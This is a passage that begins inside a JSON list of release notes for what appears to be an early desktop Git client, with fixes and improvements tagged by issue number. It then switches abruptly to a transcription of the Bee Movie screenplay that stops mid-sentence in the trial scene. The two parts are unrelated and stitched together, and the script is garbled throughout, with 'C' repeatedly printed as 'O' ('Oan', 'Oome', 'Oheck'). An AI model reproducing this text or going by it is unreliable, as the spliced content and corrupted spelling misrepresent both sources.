#1270", "[Fixed] Sometimes toggling a file's checkbox would get undone - #1248", "[Fixed] Uncaught exception when internet connectivity was lost - #1048", "[Fixed] Cloned repositories wouldn't be associated with their GitHub repository - #1285", "[Improved] Better performance on large repositories - #1281", "[Improved] Commit summary is now expandable when the summary is long - #519", "[Improved] The SHA in historical commits is now selectable - #1154", "[Improved] The Create Branch dialog was polished and refined - #1137" ], "0.0.34": [ "[New] macOS: Users can choose whether to accept untrusted certificates - #671", "[New] Windows: Users are prompted to install git when opening a shell if it is not installed - #813", "[New] Checkout progress is shown if branch switching takes a while - #1208", "[New] Commit summary and description are automatically populated for merge conflicts - #1228", "[Fixed] Cloning repositories while not signed in - #1163", "[Fixed] Merge commits are now created as merge commits - #1216", "[Fixed] Display of diffs with /r newline - #1234", "[Fixed] Windows: Maximized windows are no longer positioned slightly off screen - #1202", "[Fixed] JSON parse errors - #1243", "[Fixed] GitHub Enterprise repositories were not associated with the proper Enterprise repository - #1242", "[Fixed] Timestamps in the Branches list would wrap - #1255", "[Fixed] Merges created from pulling wouldn't use the right git author - #1262", "[Improved] Check for update errors are suppressed if they happen in the background - #1104, #1195", "[Improved] The shortcut to show the repositories list is now command or control-T - #1220", "[Improved] Command or control-W now closes open dialogs - #949", "[Improved] Less memory usage while parsing large diffs - #1235" ], "0.0.33": ["[Fixed] Update Now wouldn't update now - #1209"], "0.0.32": [ "[New] You can now disable stats reporting from Preferences > Advanced - #1120", "[New] Acknowledgements are now available from About - #810", "[New] Open pull requests from dot com in the app - #808", "[Fixed] Don't show background fetch errors - #875", "[Fixed] No more surprise and delight - #620", "[Fixed] Can't discard renamed files - #1177", "[Fixed] Logging out of one account would log out of all accounts - #1192", "[Fixed] Renamed files truncation - #695", "[Fixed] Git on Windows now integrates with the system certificate store - #706", "[Fixed] Cloning with an account/repoository shortcut would always fail - #1150", "[Fixed] OS version reporting - #1130", "[Fixed] Publish a new repository would always fail - #1046", "[Fixed] Authentication would fail for the first repository after logging in - #1118", "[Fixed] Don't flood the user with errors if a repository disappears on disk - #1132", "[Improved] The Merge dialog uses the Branches list instead of a drop down menu - #749", "[Improved] Lots of design polish - #1188, #1183, #1170, #1184, #1181, #1179, #1142, #1125" ], "0.0.31": [ "[New] Prompt user to login when authentication error occurs - #903", "[New] Windows application has a new app menu, replaces previous hamburger menu - #991", "[New] Refreshed colours to align with GitHub website scheme - #1077", "[New] Custom about dialog on all platforms - #1102", "[Fixed] Improved error handling when probing for a GitHub Enterprise server - #1026", "[Fixed] User can cancel 2FA flow - #1057", "[Fixed] Tidy up current set of menu items - #1063", "[Fixed] Manually focus the window when a URL action has been received - #1072", "[Fixed] Disable middle-click event to prevent new windows being launched - #1074", "[Fixed] Pre-fill the account name in the Welcome wizard, not login - #1078", "[Fixed] Diffs wouldn't work if an external diff program was configured - #1123", "[Improved] Lots of design polish work - #1113, #1099, #1094, #1077" ], "0.0.30": [ "[Fixed] Crash when invoking menu item due to incorrect method signature - #1041" ], "0.0.29": [ "[New] Commit summary and description fields now display issues and mentions as links for GitHub repositories - #941", "[New] Show placeholder when the repository cannot be found on disk - #946", "[New] New Repository actions moved out of popover and into new menu - #1018", "[Fixed] Display a helpful error message when an unverified user signs into GitHub Desktop - #1010", "[Fixed] Fix kerning issue when access keys displayed - #1033", "[Fixed] Protected branches show a descriptive error when the push is rejected - #1036", "[Fixed] 'Open in shell' on Windows opens to repository location - #1037" ], "0.0.28": ["[Fixed] Bumping release notes to test deployments again"], "0.0.27": [ "[Fixed] 2FA dialog when authenticating has information for SMS authentication - #1009", "[Fixed] Autocomplete for users handles accounts containing `-` - #1008" ], "0.0.26": [ "[Fixed] Address deployment issue by properly documenting release notes" ], "0.0.25": [ "[Added] Autocomplete displays user matches - #942", "[Fixed] Handle Enter key in repository and branch list when no matches exist - #995", "[Fixed] 'Add Repository' button displays in dropdown when repository list empty - #984", "[Fixed] Correct icon displayed for non-GitHub repository - #964 #955", "[Fixed] Enter key when inside dialog submits form - #956", "[Fixed] Updated URL handler entry on macOS - #945", "[Fixed] Commit button is disabled while commit in progress - #940", "[Fixed] Handle index state change when gitginore change is discarded - #935", "[Fixed] 'Create New Branch' view squashes branch list when expanded - #927", "[Fixed] Application creates repository path if it doesn't exist on disk - #925", "[Improved] Preferences sign-in flow updated to standalone dialogs - #961" ], "0.0.24": ["Changed a thing", "Added another thing"] } }

According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been 